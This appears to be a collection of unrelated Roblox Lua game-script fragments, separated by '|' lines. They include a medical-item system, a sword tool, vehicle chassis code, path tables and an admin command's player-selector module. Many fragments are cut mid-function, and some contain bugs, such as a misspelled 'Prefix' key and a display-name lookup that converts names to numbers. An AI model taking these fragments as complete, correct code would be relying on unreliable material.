return game:GetService("Workspace"):FindPartOnRayWithIgnoreList(Ray.new(Position,Direction.unit*(MaxDistance or 999.999)),IgnoreList);
end;
|
--// Modules //--
|
local KingdomHolder = require(ServerStorage.KingdomHolder)
Players.PlayerAdded:Connect(function(plr)
KingdomHolder.CreateKingdom(plr)
end)
|
--edit the function below to return true when you want this response/prompt to be valid
--player is the player speaking to the dialogue, and dialogueFolder is the object containing the dialogue data
|
return function(player, dialogueFolder)
local plrData = require(game.ReplicatedStorage.Source.Modules.Util):GetPlayerData(player)
return plrData.Money.Gold.Value < 1000
end
|
--Code--
|
local function PlayerTouched(Part)
local Parent = Part.Parent
if game.Players:GetPlayerFromCharacter(Parent) then
wait(0.8)
Brick.Transparency=Brick.Transparency+0.8
Brick.CanCollide=false
wait(3.2)
Brick.Transparency=0
Brick.CanCollide=true
end
end
Brick.Touched:connect(PlayerTouched)
|
--[[ @brief Produces a cumulative sum along a table.
@details The passed-in table will be mutated.
@example Accumulate({1, 2, 3}) = {1, 3, 6}.
@param t The table to accumulate.
--]]
|
function module.Accumulate(t)
local s = 0;
for i, v in pairs(t) do
s = s + t[i];
t[i] = s;
end
return t;
end
|
--// Use the power of the stars and hit as many people as you can to perform a chain attack!
|
local Properties = {
DamageMode = "Normal", --What mode to reference the damage tables listed below
Special = true,--The internal logical indicator to determine if we can use our special.
Special_Reload = 10, --The Cooldown time until the ability is ready to be used.
SpeedCap = 30, --This is the wielder's walkspeed when equipped
DamageValues = {
Normal = {
Min = 10,
Max = 50,
},
Lunge = {
Min = 7,
Max = 10
}
}
}
local FindFirstChild, FindFirstChildOfClass, WaitForChild = script.FindFirstChild, script.FindFirstChildOfClass, script.WaitForChild
local Clone, Destroy = script.Clone, script.Destroy
local GetChildren = script.GetChildren
local IsA = script.IsA
local Tool = script.Parent
Tool.Enabled = true
local DefaultGrip = FindFirstChild(Tool, "DefaultGrip")
if not DefaultGrip then
-- Create a new grip reference
DefaultGrip = Instance.new("CFrameValue")
DefaultGrip.Name = "DefaultGrip"
DefaultGrip.Value = Tool.Grip
DefaultGrip.Parent = Tool
end
Tool.Grip = DefaultGrip.Value --Reset the Tool's grip values to the DefaultGrip Value
local Handle = WaitForChild(Tool, "Handle")
pcall(function()
Handle["Sparkle_Large_Blue"].Enabled = true --We're gonna use this as our visual indicator for our special.
end)
local Sounds = {
Equip = WaitForChild(Handle, "Equip"),
Slash = WaitForChild(Handle, "Slash"),
Lunge = WaitForChild(Handle, "Lunge")
}
local Players = (game:FindService("Players") or game:GetService("Players"))
local Debris = (game:FindService("Debris") or game:GetService("Debris"))
local RunService = (game:FindService("RunService") or game:GetService("RunService"))
local ServerScriptService = (game:FindService("ServerScriptService") or game:GetService("ServerScriptService"))
local NewRay = Ray.new
|
--MainScriptValues
|
local Color = Color3.fromRGB(99, 95, 98)
local CodeT1 = script.Parent.Code1
local CodeT2 = script.Parent.Code2
local CodeT3 = script.Parent.Code3
local CodeT1C = script.Parent.Code1.ClickDetector
local CodeT2C = script.Parent.Code2.ClickDetector
local CodeT3C = script.Parent.Code3.ClickDetector
|
------------------------------------------------------------------------
------------------------------------------------------------------------
------------------------------------------------------------------------
|
local Functions = Evt.MedSys
local FunctionsMulti = Evt.MedSys.Multi
local Compress = Functions.Compress
local Bandage = Functions.Bandage
local Splint = Functions.Splint
local PainKiller = Functions.PainKiller
local Energetic = Functions.Energetic
local Tourniquet = Functions.Tourniquet
local Compress_Multi = FunctionsMulti.Compress
local Bandage_Multi = FunctionsMulti.Bandage
local Splint_Multi = FunctionsMulti.Splint
local Epinephrine_Multi = FunctionsMulti.Epinephrine
local Morphine_Multi = FunctionsMulti.Morphine
local BloodBag_Multi = FunctionsMulti.BloodBag
local Tourniquet_Multi = FunctionsMulti.Tourniquet
local Algemar = Functions.Algemar
local Fome = Functions.Fome
local Stance = Evt.MedSys.Stance
local Collapse = Functions.Collapse
local Reset = Functions.Reset
local TS = game:GetService("TweenService")
Compress.OnServerEvent:Connect(function(player)
local Human = player.Character.Humanoid
local enabled = Human.Parent.Saude.Variaveis.Doer
local MLs = Human.Parent.Saude.Variaveis.MLs
local Caido = Human.Parent.Saude.Stances.Caido
if enabled.Value == false and Caido.Value == false then
if MLs.Value >= 2 then
enabled.Value = true
wait(.3)
MLs.Value = 1
wait(5)
enabled.Value = false
end
end
end)
Bandage.OnServerEvent:Connect(function(player)
local Human = player.Character.Humanoid
local enabled = Human.Parent.Saude.Variaveis.Doer
local Sangrando = Human.Parent.Saude.Stances.Sangrando
local MLs = Human.Parent.Saude.Variaveis.MLs
local Caido = Human.Parent.Saude.Stances.Caido
local Ferido = Human.Parent.Saude.Stances.Ferido
local Bandagens = Human.Parent.Saude.Kit.Bandagem
if enabled.Value == false and Caido.Value == false then
if Bandagens.Value >= 1 and Sangrando.Value == true then
enabled.Value = true
wait(.3)
Sangrando.Value = false
Bandagens.Value = Bandagens.Value - 1
wait(2)
enabled.Value = false
end
end
end)
Splint.OnServerEvent:Connect(function(player)
local Human = player.Character.Humanoid
local enabled = Human.Parent.Saude.Variaveis.Doer
local Sangrando = Human.Parent.Saude.Stances.Sangrando
local MLs = Human.Parent.Saude.Variaveis.MLs
local Caido = Human.Parent.Saude.Stances.Caido
local Ferido = Human.Parent.Saude.Stances.Ferido
local Bandagens = Human.Parent.Saude.Kit.Splint
if enabled.Value == false and Caido.Value == false then
if Bandagens.Value >= 1 and Ferido.Value == true then
enabled.Value = true
wait(.3)
Ferido.Value = false
Bandagens.Value = Bandagens.Value - 1
wait(2)
enabled.Value = false
end
end
end)
PainKiller.OnServerEvent:Connect(function(player)
local Human = player.Character.Humanoid
local enabled = Human.Parent.Saude.Variaveis.Doer
local Sangrando = Human.Parent.Saude.Stances.Sangrando
local MLs = Human.Parent.Saude.Variaveis.MLs
local Dor = Human.Parent.Saude.Variaveis.Dor
local Caido = Human.Parent.Saude.Stances.Caido
local Ferido = Human.Parent.Saude.Stances.Ferido
local Bandagens = Human.Parent.Saude.Kit.Aspirina
if enabled.Value == false and Caido.Value == false then
if Bandagens.Value >= 1 and Dor.Value >= 1 then
enabled.Value = true
wait(.3)
Dor.Value = Dor.Value - math.random(60,75)
Bandagens.Value = Bandagens.Value - 1
wait(2)
enabled.Value = false
end
end
end)
Energetic.OnServerEvent:Connect(function(player)
local Human = player.Character.Humanoid
local enabled = Human.Parent.Saude.Variaveis.Doer
local Sangrando = Human.Parent.Saude.Stances.Sangrando
local MLs = Human.Parent.Saude.Variaveis.MLs
local Dor = Human.Parent.Saude.Variaveis.Dor
local Caido = Human.Parent.Saude.Stances.Caido
local Ferido = Human.Parent.Saude.Stances.Ferido
local Bandagens = Human.Parent.Saude.Kit.Energetico
--local Energia = Human.Parent.Saude.Variaveis.Energia
if enabled.Value == false and Caido.Value == false then
if Human.Health < Human.MaxHealth then
enabled.Value = true
wait(.3)
Human.Health = Human.Health + (Human.MaxHealth/3)
--Energia.Value = Energia.Value + (Energia.MaxValue/3)
Bandagens.Value = Bandagens.Value - 1
wait(2)
enabled.Value = false
end
end
end)
Tourniquet.OnServerEvent:Connect(function(player)
local Human = player.Character.Humanoid
local enabled = Human.Parent.Saude.Variaveis.Doer
local Sangrando = Human.Parent.Saude.Stances.Sangrando
local MLs = Human.Parent.Saude.Variaveis.MLs
local Dor = Human.Parent.Saude.Variaveis.Dor
local Caido = Human.Parent.Saude.Stances.Caido
local Ferido = Human.Parent.Saude.Stances.Ferido
local Bandagens = Human.Parent.Saude.Kit.Tourniquet
if Human.Parent.Saude.Stances.Tourniquet.Value == false then
if enabled.Value == false and Sangrando.Value == true and Bandagens.Value > 0 then
enabled.Value = true
wait(.3)
Human.Parent.Saude.Stances.Tourniquet.Value = true
Bandagens.Value = Bandagens.Value - 1
wait(2)
enabled.Value = false
end
else
if enabled.Value == false then
enabled.Value = true
wait(.3)
Human.Parent.Saude.Stances.Tourniquet.Value = false
Bandagens.Value = Bandagens.Value + 1
wait(2)
enabled.Value = false
end
end
end)
|
-- @author Mark Otaris (ColorfulBody, JulienDethurens) and Quenty
-- Last modified December 28th, 2013
| |
----- Skin -----
|
local Skin = Inventory:WaitForChild("Gold") -- CHANGE
|
------------------------------------------------------------
|
local TwinService = game:GetService("TweenService")
local AnimationHighLight = TweenInfo.new(2, Enum.EasingStyle.Sine ,Enum.EasingDirection.InOut)
local Info1 = {Position = Vector3.new(pos1,Positionn,pos3)}
local Info2 = {Position = Vector3.new(pos1,Positionn2,pos3)}
local AnimkaUp = TwinService:Create(Danger, AnimationHighLight, Info1 )
local AnimkaDown = TwinService:Create(Danger, AnimationHighLight, Info2 )
while true do
AnimkaDown:Play()
wait(2)
AnimkaUp:Play()
wait(2)
end
|
--[[ Private Functions ]]
|
--
local function getVehicleMotors()
local motors = {}
for _, c in pairs(constraints:GetChildren()) do
if c:IsA("CylindricalConstraint") then
table.insert(motors, c)
end
end
return motors
end
local function getSprings(springType)
local springs = {}
local trailer = PackagedVehicle:FindFirstChild("Trailer")
local function search(children)
local searchStrutSpring = "StrutSpring"
local searchFrontSpring = "StrutSpringF"
local searchTorsionSpring = "TorsionBarSpring"
for _, c in pairs(children) do
if c:IsA("SpringConstraint") then
if springType == "StrutFront" then
if string.find(c.Name, searchFrontSpring) then
table.insert(springs, c)
end
elseif springType == "StrutRear" then
if (not string.find(c.Name, searchFrontSpring)) and string.find(c.Name, searchStrutSpring) then
table.insert(springs, c) -- we have option of Mid and Rear for these
end
elseif springType == "TorsionBar" then
if string.find(c.Name, searchTorsionSpring) then
table.insert(springs, c)
end
end
end
end
end
search(constraints:GetChildren())
if trailer then
search(trailer.Constraints:GetChildren())
end
return springs
end
local function getMotorVelocity(motor)
return motor.Attachment1.WorldAxis:Dot( motor.Attachment1.Parent.RotVelocity )
end
local function adjustSpring( spring, stiffness, damping )
spring.Stiffness = stiffness
spring.Damping = damping
end
local function setMotorTorque(torque)
for _, motor in pairs(Motors) do
motor.MotorMaxTorque = torque
end
end
local function setMotorTorqueDamped(torque, velocityDirection, accelDirection)
for _, motor in pairs(Motors) do
if VehicleParameters.MaxSpeed == 0 then
motor.MotorMaxTorque = 0
else
local maxSpeed = VehicleParameters.MaxSpeed
if accelDirection < 0 and velocityDirection < 0 then
maxSpeed = VehicleParameters.ReverseSpeed
end
local r = math.abs(Chassis.driverSeat.Velocity.Magnitude / maxSpeed)
motor.MotorMaxTorque = math.exp( -3 * r * r ) * torque
end
end
end
local function setMotorMaxAcceleration(acceleration)
for _, motor in pairs(Motors) do
motor.MotorMaxAngularAcceleration = acceleration
end
end
|
--------------------[ KNIFING FUNCTION ]----------------------------------------------
|
function KnifeAnim()
local Connection = nil
local Blade = Instance.new("Part")
Blade.BrickColor = BrickColor.new("Really black")
Blade.Name = "Blade"
Blade.CanCollide = false
Blade.FormFactor = Enum.FormFactor.Custom
Blade.Size = VEC3(0.5, 2.5, 1)
local Mesh = Instance.new("SpecialMesh")
Mesh.MeshId = S.KnifeMeshId
Mesh.MeshType = Enum.MeshType.FileMesh
Mesh.Scale = VEC3(0.7, 0.7, 0.7)
Mesh.TextureId = S.KnifeTextureId
Mesh.Parent = Blade
Blade.Parent = Gun_Ignore
local BladeWeld = Instance.new("Weld")
BladeWeld.Part0 = Blade
BladeWeld.Part1 = FakeLArm
BladeWeld.C0 = CFANG(RAD(-90), 0, RAD(180))
BladeWeld.C1 = CF(0, -1, 0.75)
BladeWeld.Parent = Blade
Connection = Blade.Touched:connect(function(Obj)
if Obj then
local HitHumanoid = FindFirstClass(Obj.Parent, "Humanoid")
if HitHumanoid and IsEnemy(HitHumanoid) then
local CreatorTag = Instance.new("ObjectValue")
CreatorTag.Name = "creator"
CreatorTag.Value = Player
CreatorTag.Parent = HitHumanoid
HitHumanoid:TakeDamage(HitHumanoid.MaxHealth)
MarkHit()
end
end
end)
TweenJoint(LWeld2, CF(), CFANG(0, RAD(90), 0), Linear, 0.05)
TweenJoint(LWeld, ArmC0[1], CF(-0.1, 0.2, -0.1) * CFANG(0, 0, RAD(-20)), Linear, 0.05)
TweenJoint(RWeld, ArmC0[2], CFANG(RAD(-30), 0, 0), Linear, 0.1)
TweenJoint(Grip, Grip.C0, CF(), Linear, 0.1)
spawn(function()
local Force = HRP.CFrame.lookVector * 8e4
local BF = Instance.new("BodyForce")
BF.force = Force
BF.Parent = HRP
delay(0.03, function()
BF.force = -Force / 2
wait(0.03)
BF:Destroy()
end)
end)
wait(0.05)
RotCamera(RAD(6), 0, true, 0.1)
delay(0.1, function()
RotCamera(RAD(-2), 0, true, 0.05)
end)
TweenJoint(LWeld, ArmC0[1], CF(0.8, 1.7, 0.2) * CFANG(0, 0, RAD(-80)), Linear, 0.06)
wait(0.2)
Connection:disconnect()
wait(0.2)
TweenJoint(LWeld2, CF(), CF(), Linear, 0.15)
TweenJoint(LWeld, ArmC0[1], S.ArmC1_UnAimed.Left, Linear, 0.15)
TweenJoint(RWeld, ArmC0[2], S.ArmC1_UnAimed.Right, Linear, 0.15)
Blade:Destroy()
end
|
--[=[
Requires all children ModuleScripts
@param parent Instance -- Parent to scan
@return {ModuleScript} -- Array of required modules
]=]
|
function Loader.LoadChildren(parent: Instance): Modules
local modules: Modules = {}
for _,child in ipairs(parent:GetChildren()) do
if child:IsA("ModuleScript") then
local m = require(child)
table.insert(modules, m)
end
end
return modules
end
|
--make room for new data
|
script.Parent.Parent.AgeBox.Text=""
script.Parent.Parent.NameBox.Text=""
script.Parent.Parent.UserIDBox.Text=""
end
script.Parent.MouseButton1Click:connect(isclicked)
|
--Precalculated paths
|
local t,f,n=true,false,{}
local r={
[58]={{24,25,26,27,28,29,31,32,34,35,39,41,30,56,58},t},
[49]={{24,25,26,27,28,44,45,49},t},
[16]={n,f},
[19]={{24,25,26,27,28,29,31,32,34,35,39,41,30,56,58,20,19},t},
[59]={{24,25,26,27,28,29,31,32,34,35,39,41,59},t},
[63]={{24,25,26,27,28,29,31,32,34,35,39,41,30,56,58,23,62,63},t},
[34]={{24,25,26,27,28,29,31,32,34},t},
[21]={{24,25,26,27,28,29,31,32,34,35,39,41,30,56,58,20,21},t},
[48]={{24,25,26,27,28,44,45,49,48},t},
[27]={{24,25,26,27},t},
[14]={n,f},
[31]={{24,25,26,27,28,29,31},t},
[56]={{24,25,26,27,28,29,31,32,34,35,39,41,30,56},t},
[29]={{24,25,26,27,28,29},t},
[13]={n,f},
[47]={{24,25,26,27,28,44,45,49,48,47},t},
[12]={n,f},
[45]={{24,25,26,27,28,44,45},t},
[57]={{24,25,26,27,28,29,31,32,34,35,39,41,30,56,57},t},
[36]={{24,25,26,27,28,29,31,32,33,36},t},
[25]={{24,25},t},
[71]={{24,25,26,27,28,29,31,32,34,35,39,41,59,61,71},t},
[20]={{24,25,26,27,28,29,31,32,34,35,39,41,30,56,58,20},t},
[60]={{24,25,26,27,28,29,31,32,34,35,39,41,60},t},
[8]={n,f},
[4]={n,f},
[75]={{24,25,26,27,28,29,31,32,34,35,39,41,59,61,71,72,76,73,75},t},
[22]={{24,25,26,27,28,29,31,32,34,35,39,41,30,56,58,20,21,22},t},
[74]={{24,25,26,27,28,29,31,32,34,35,39,41,59,61,71,72,76,73,74},t},
[62]={{24,25,26,27,28,29,31,32,34,35,39,41,30,56,58,23,62},t},
[1]={n,f},
[6]={n,f},
[11]={n,f},
[15]={n,f},
[37]={{24,25,26,27,28,29,31,32,33,36,37},t},
[2]={n,f},
[35]={{24,25,26,27,28,29,31,32,34,35},t},
[53]={{24,25,26,27,28,44,45,49,48,47,52,53},t},
[73]={{24,25,26,27,28,29,31,32,34,35,39,41,59,61,71,72,76,73},t},
[72]={{24,25,26,27,28,29,31,32,34,35,39,41,59,61,71,72},t},
[33]={{24,25,26,27,28,29,31,32,33},t},
[69]={{24,25,26,27,28,29,31,32,34,35,39,41,60,69},t},
[65]={{24,25,26,27,28,29,31,32,34,35,39,41,30,56,58,20,19,66,64,65},t},
[26]={{24,25,26},t},
[68]={{24,25,26,27,28,29,31,32,34,35,39,41,30,56,58,20,19,66,64,67,68},t},
[76]={{24,25,26,27,28,29,31,32,34,35,39,41,59,61,71,72,76},t},
[50]={{24,25,26,27,28,44,45,49,48,47,50},t},
[66]={{24,25,26,27,28,29,31,32,34,35,39,41,30,56,58,20,19,66},t},
[10]={n,f},
[24]={{24},t},
[23]={{24,25,26,27,28,29,31,32,34,35,39,41,30,56,58,23},t},
[44]={{24,25,26,27,28,44},t},
[39]={{24,25,26,27,28,29,31,32,34,35,39},t},
[32]={{24,25,26,27,28,29,31,32},t},
[3]={n,f},
[30]={{24,25,26,27,28,29,31,32,34,35,39,41,30},t},
[51]={{24,25,26,27,28,44,45,49,48,47,50,51},t},
[18]={n,f},
[67]={{24,25,26,27,28,29,31,32,34,35,39,41,30,56,58,20,19,66,64,67},t},
[61]={{24,25,26,27,28,29,31,32,34,35,39,41,59,61},t},
[55]={{24,25,26,27,28,44,45,49,48,47,52,53,54,55},t},
[46]={{24,25,26,27,28,44,45,49,48,47,46},t},
[42]={{24,25,26,27,28,29,31,32,34,35,38,42},t},
[40]={{24,25,26,27,28,29,31,32,34,35,40},t},
[52]={{24,25,26,27,28,44,45,49,48,47,52},t},
[54]={{24,25,26,27,28,44,45,49,48,47,52,53,54},t},
[43]={n,f},
[7]={n,f},
[9]={n,f},
[41]={{24,25,26,27,28,29,31,32,34,35,39,41},t},
[17]={n,f},
[38]={{24,25,26,27,28,29,31,32,34,35,38},t},
[28]={{24,25,26,27,28},t},
[5]={n,f},
[64]={{24,25,26,27,28,29,31,32,34,35,39,41,30,56,58,20,19,66,64},t},
}
return r
|
--[[ @brief Sums all elements in a table.
@param t A table of numbers.
@return The total sum of all numbers in t.
--]]
|
function module.Sum(t, n)
local sum = 0;
if n then
for i = 1, n do
sum = sum + t[i>#t and #t or i] or 0;
end
else
for i, v in pairs(t) do
sum = sum + v;
end
end
return sum;
end
|
--[[Weight and CG]]
|
Tune.Weight = 3400 -- Total weight (in pounds)
Tune.WeightBSize = { -- Size of weight brick (dimmensions in studs ; larger = more stable)
--[[Width]] 6 ,
--[[Height]] 3.5 ,
--[[Length]] 14 }
Tune.WeightDist = 50 -- Weight distribution (0 - on rear wheels, 100 - on front wheels, can be <0 or >100)
Tune.CGHeight = .8 -- Center of gravity height (studs relative to median of all wheels)
Tune.WBVisible = false -- Makes the weight brick visible
|
--// Function stuff
|
return function(Vargs, GetEnv)
local env = GetEnv(nil, {script = script})
setfenv(1, env)
local server = Vargs.Server
local service = Vargs.Service
local cPcall = env.cPcall
local logError
local Functions, Admin, Anti, Core, HTTP, Logs, Remote, Process, Variables, Settings
local function Init()
Functions = server.Functions;
Admin = server.Admin;
Anti = server.Anti;
Core = server.Core;
HTTP = server.HTTP;
Logs = server.Logs;
Remote = server.Remote;
Process = server.Process;
Variables = server.Variables;
Settings = server.Settings;
logError = server.logError;
Functions.Init = nil
Logs:AddLog("Script", "Functions Module Initialized")
end;
local function RunAfterPlugins(data)
--// AutoClean
if Settings.AutoClean then
service.StartLoop("AUTO_CLEAN", Settings.AutoCleanDelay, Functions.CleanWorkspace, true)
end
Functions.RunAfterPlugins = nil
Logs:AddLog("Script", "Functions Module RunAfterPlugins Finished")
end
server.Functions = {
Init = Init;
RunAfterPlugins = RunAfterPlugins;
PlayerFinders = {
["me"] = {
Match = "me";
Prefix = true;
Absolute = true;
Function = function(msg, plr, parent, players, delplayers, addplayers, randplayers, getplr, plus, isKicking, useFakePlayer, allowUnknownUsers)
table.insert(players, plr)
plus()
end;
};
["all"] = {
Match = "all";
Prefix = true;
Absolute = true;
Function = function(msg, plr, parent, players, delplayers, addplayers, randplayers, getplr, plus, isKicking, useFakePlayer, allowUnknownUsers)
local everyone = true
if isKicking then
local lower = string.lower
local sub = string.sub
for _,v in parent:GetChildren() do
local p = getplr(v)
if p and sub(lower(p.Name), 1, #msg)==lower(msg) then
everyone = false
table.insert(players, p)
plus()
end
end
end
if everyone then
for _,v in parent:GetChildren() do
local p = getplr(v)
if p then
table.insert(players, p)
plus()
end
end
end
end;
};
["everyone"] = {
Match = "everyone";
Absolute = true;
Pefix = true;
Function = function(...)
return Functions.PlayerFinders.all.Function(...)
end
};
["others"] = {
Match = "others";
Prefix = true;
Absolute = true;
Function = function(msg, plr, parent, players, delplayers, addplayers, randplayers, getplr, plus, isKicking, useFakePlayer, allowUnknownUsers)
for _,v in parent:GetChildren() do
local p = getplr(v)
if p and p ~= plr then
table.insert(players, p)
plus()
end
end
end;
};
["random"] = {
Match = "random";
Prefix = true;
Absolute = true;
Function = function(msg, plr, parent, players, delplayers, addplayers, randplayers, getplr, plus, isKicking, useFakePlayer, allowUnknownUsers)
table.insert(randplayers, "random")
plus()
end;
};
["admins"] = {
Match = "admins";
Prefix = true;
Absolute = true;
Function = function(msg, plr, parent, players, delplayers, addplayers, randplayers, getplr, plus, isKicking, useFakePlayer, allowUnknownUsers)
for _,v in parent:GetChildren() do
local p = getplr(v)
if p and Admin.CheckAdmin(p,false) then
table.insert(players, p)
plus()
end
end
end;
};
["nonadmins"] = {
Match = "nonadmins";
Prefix = true;
Absolute = true;
Function = function(msg, plr, parent, players, delplayers, addplayers, randplayers, getplr, plus, isKicking, useFakePlayer, allowUnknownUsers)
for _,v in parent:GetChildren() do
local p = getplr(v)
if p and not Admin.CheckAdmin(p,false) then
table.insert(players, p)
plus()
end
end
end;
};
["friends"] = {
Match = "friends";
Prefix = true;
Absolute = true;
Function = function(msg, plr, parent, players, delplayers, addplayers, randplayers, getplr, plus, isKicking, useFakePlayer, allowUnknownUsers)
for _,v in parent:GetChildren() do
local p = getplr(v)
if p and p:IsFriendsWith(plr.UserId) then
table.insert(players, p)
plus()
end
end
end;
};
["@username"] = {
Match = "@";
Prefix = false;
Function = function(msg, plr, parent, players, delplayers, addplayers, randplayers, getplr, plus, isKicking, useFakePlayer, allowUnknownUsers)
local matched = string.match(msg, "@(.*)")
local foundNum = 0
if matched then
for _,v in parent:GetChildren() do
local p = getplr(v)
if p and p.Name == matched then
table.insert(players, p)
plus()
foundNum += 1
end
end
end
end;
};
["%team"] = {
Match = "%";
Function = function(msg, plr, parent, players, delplayers, addplayers, randplayers, getplr, plus, isKicking, useFakePlayer, allowUnknownUsers)
local matched = string.match(msg, "%%(.*)")
local lower = string.lower
local sub = string.sub
if matched and #matched > 0 then
for _,v in service.Teams:GetChildren() do
if sub(lower(v.Name), 1, #matched) == lower(matched) then
for _,m in parent:GetChildren() do
local p = getplr(m)
if p and p.TeamColor == v.TeamColor then
table.insert(players, p)
plus()
end
end
end
end
end
end;
};
["$group"] = {
Match = "$";
Function = function(msg, plr, parent, players, delplayers, addplayers, randplayers, getplr, plus, isKicking, useFakePlayer, allowUnknownUsers)
local matched = string.match(msg, "%$(.*)")
if matched and tonumber(matched) then
for _,v in parent:GetChildren() do
local p = getplr(v)
if p and p:IsInGroup(tonumber(matched)) then
table.insert(players, p)
plus()
end
end
end
end;
};
["id-"] = {
Match = "id-";
Function = function(msg, plr, parent, players, delplayers, addplayers, randplayers, getplr, plus, isKicking, useFakePlayer, allowUnknownUsers)
local matched = tonumber(string.match(msg, "id%-(.*)"))
local foundNum = 0
if matched then
for _,v in parent:GetChildren() do
local p = getplr(v)
if p and p.UserId == matched then
table.insert(players, p)
plus()
foundNum += 1
end
end
if foundNum == 0 and useFakePlayer then
local ran, name = pcall(service.Players.GetNameFromUserIdAsync, service.Players, matched)
if ran or allowUnknownUsers then
local fakePlayer = Functions.GetFakePlayer({
UserId = matched,
Name = name,
})
table.insert(players, fakePlayer)
plus()
end
end
end
end;
};
["displayname-"] = {
Match = "displayname-";
Function = function(msg, plr, parent, players, delplayers, addplayers, randplayers, getplr, plus, isKicking, useFakePlayer, allowUnknownUsers)
local matched = tonumber(string.match(msg, "displayname%-(.*)"))
local foundNum = 0
if matched then
for _,v in parent:GetChildren() do
local p = getplr(v)
if p and p.DisplayName == matched then
table.insert(players, p)
plus()
foundNum += 1
end
end
end
end;
};
["team-"] = {
Match = "team-";
Function = function(msg, plr, parent, players, delplayers, addplayers, randplayers, getplr, plus, isKicking, useFakePlayer, allowUnknownUsers)
local lower = string.lower
local sub = string.sub
local matched = string.match(msg, "team%-(.*)")
if matched then
for _,v in service.Teams:GetChildren() do
if sub(lower(v.Name), 1, #matched) == lower(matched) then
for _,m in parent:GetChildren() do
local p = getplr(m)
if p and p.TeamColor == v.TeamColor then
table.insert(players, p)
plus()
end
end
end
end
end
end;
};
["group-"] = {
Match = "group-";
Function = function(msg, plr, parent, players, delplayers, addplayers, randplayers, getplr, plus, isKicking, useFakePlayer, allowUnknownUsers)
local matched = string.match(msg, "group%-(.*)")
matched = tonumber(matched)
if matched then
for _,v in parent:GetChildren() do
local p = getplr(v)
if p and p:IsInGroup(matched) then
table.insert(players, p)
plus()
end
end
end
end;
};
["-name"] = {
Match = "-";
Function = function(msg, plr, parent, players, delplayers, addplayers, randplayers, getplr, plus, isKicking, useFakePlayer, allowUnknownUsers)
local matched = string.match(msg, "%-(.*)")
if matched then
local removes = service.GetPlayers(plr,matched, {
DontError = true;
})
for k,p in removes do
if p then
table.insert(delplayers,p)
plus()
end
end
end
end;
};
["+name"] = {
Match = "+";
Function = function(msg, plr, parent, players, delplayers, addplayers, randplayers, getplr, plus, isKicking, useFakePlayer, allowUnknownUsers)
local matched = string.match(msg, "%+(.*)")
if matched then
local adds = service.GetPlayers(plr,matched, {
DontError = true;
})
for k,p in adds do
if p then
table.insert(addplayers,p)
plus()
end
end
end
end;
};
["#number"] = {
Match = "#";
Function = function(msg, plr, ...)
local matched = msg:match("%#(.*)")
if matched and tonumber(matched) then
local num = tonumber(matched)
if not num then
Remote.MakeGui(plr,'Output',{Title = 'Output'; Message = "Invalid number!"})
return;
end
for i = 1,num do
Functions.PlayerFinders.random.Function(msg, plr, ...)
end
end
end;
};
["radius-"] = {
Match = "radius-";
Function = function(msg, plr, parent, players, delplayers, addplayers, randplayers, getplr, plus, isKicking, useFakePlayer, allowUnknownUsers)
local matched = msg:match("radius%-(.*)")
if matched and tonumber(matched) then
local num = tonumber(matched)
if not num then
Remote.MakeGui(plr, "Output", {Message = "Invalid number!"})
return;
end
for _,v in parent:GetChildren() do
local p = getplr(v)
if p and p ~= plr and plr:DistanceFromCharacter(p.Character.Head.Position) <= num then
table.insert(players,p)
plus()
end
end
end
end;
};
};
CatchError = function(func, ...)
local ret = {pcall(func, ...)}
if not ret[1] then
logError(ret[2] or "Unknown error occurred")
else
return unpack(ret, 2)
end
end;
GetFakePlayer = function(options)
local fakePlayer = service.Wrap(service.New("Folder", {
Name = options.Name or "Fake_Player";
}))
local data = {
ClassName = "Player";
Name = "[Unknown User]";
DisplayName = "[Unknown User]";
UserId = 0;
AccountAge = 0;
MembershipType = Enum.MembershipType.None;
CharacterAppearanceId = if options.UserId then tostring(options.UserId) else "0";
FollowUserId = 0;
GameplayPaused = false;
Parent = service.Players;
Character = service.New("Model", {Name = options.Name or "Fake_Player"});
Backpack = service.New("Folder", {Name = "FakeBackpack"});
PlayerGui = service.New("Folder", {Name = "FakePlayerGui"});
PlayerScripts = service.New("Folder", {Name = "FakePlayerScripts"});
GetJoinData = function() return {} end;
GetFriendsOnline = function() return {} end;
GetRankInGroup = function() return 0 end;
GetRoleInGroup = function() return "Guest" end;
IsFriendsWith = function() return false end;
Kick = function() fakePlayer:Destroy() fakePlayer:SetSpecial("Parent", nil) end;
IsA = function(_, className) return className == "Player" end;
}
for i, v in options do
data[i] = v
end
if data.UserId ~= -1 then
local success, actualName = pcall(service.Players.GetNameFromUserIdAsync, service.Players, data.UserId)
if success then
data.Name = actualName
end
end
data.userId = data.UserId
data.ToString = data.Name
for i, v in data do
fakePlayer:SetSpecial(i, v)
end
return fakePlayer
end;
GetChatService = function()
local isTextChat = service.TextChatService.ChatVersion == Enum.ChatVersion.TextChatService
local chatHandler = service.ServerScriptService:WaitForChild("ChatServiceRunner", isTextChat and 0.2 or 120)
local chatMod = chatHandler and chatHandler:WaitForChild("ChatService", isTextChat and 0.2 or 120)
if chatMod then
return require(chatMod)
end
return nil
end;
IsClass = function(obj, classList)
for _,class in classList do
if obj:IsA(class) then
return true
end
end
return false
end;
ArgsToString = function(args)
local str = ""
for i, arg in args do
str ..= `Arg{i}: {arg}; `
end
return str:sub(1, -3)
end;
GetPlayers = function(plr, argument, options)
options = options or {}
local parent = options.Parent or service.Players
local players = {}
local delplayers = {}
local addplayers = {}
local randplayers = {}
local function getplr(p)
if p then
if p.ClassName == "Player" then
return p
elseif p:IsA("NetworkReplicator") then
local networkPeerPlayer = p:GetPlayer()
if networkPeerPlayer and networkPeerPlayer.ClassName == "Player" then
return networkPeerPlayer
end
end
end
return nil
end
local function checkMatch(msg)
msg = string.lower(msg)
local doReturn
local PlrLevel = if plr then Admin.GetLevel(plr) else 0
for _, data in Functions.PlayerFinders do
if not data.Level or (data.Level and PlrLevel >= data.Level) then
local check = ((data.Prefix and Settings.SpecialPrefix) or "")..data.Match
if (data.Absolute and msg == check) or (not data.Absolute and string.sub(msg, 1, #check) == string.lower(check)) then
if data.Absolute then
return data
else --// Prioritize absolute matches over non-absolute matches
doReturn = data
end
end
end
end
return doReturn
end
if plr == nil then
--// Select all players
for _, v in parent:GetChildren() do
local p = getplr(v)
if p then
table.insert(players, p)
end
end
elseif plr and not argument then
--// Default to the executor ("me")
return {plr}
else
if argument:match("^##") then
error(`String passed to GetPlayers is filtered: {argument}`, 2)
end
for s in argument:gmatch("([^,]+)") do
local plrCount = 0
local function plus() plrCount += 1 end
if not options.NoSelectors then
local matchFunc = checkMatch(s)
if matchFunc then
matchFunc.Function(
s,
plr,
parent,
players,
delplayers,
addplayers,
randplayers,
getplr,
plus,
options.IsKicking,
options.IsServer,
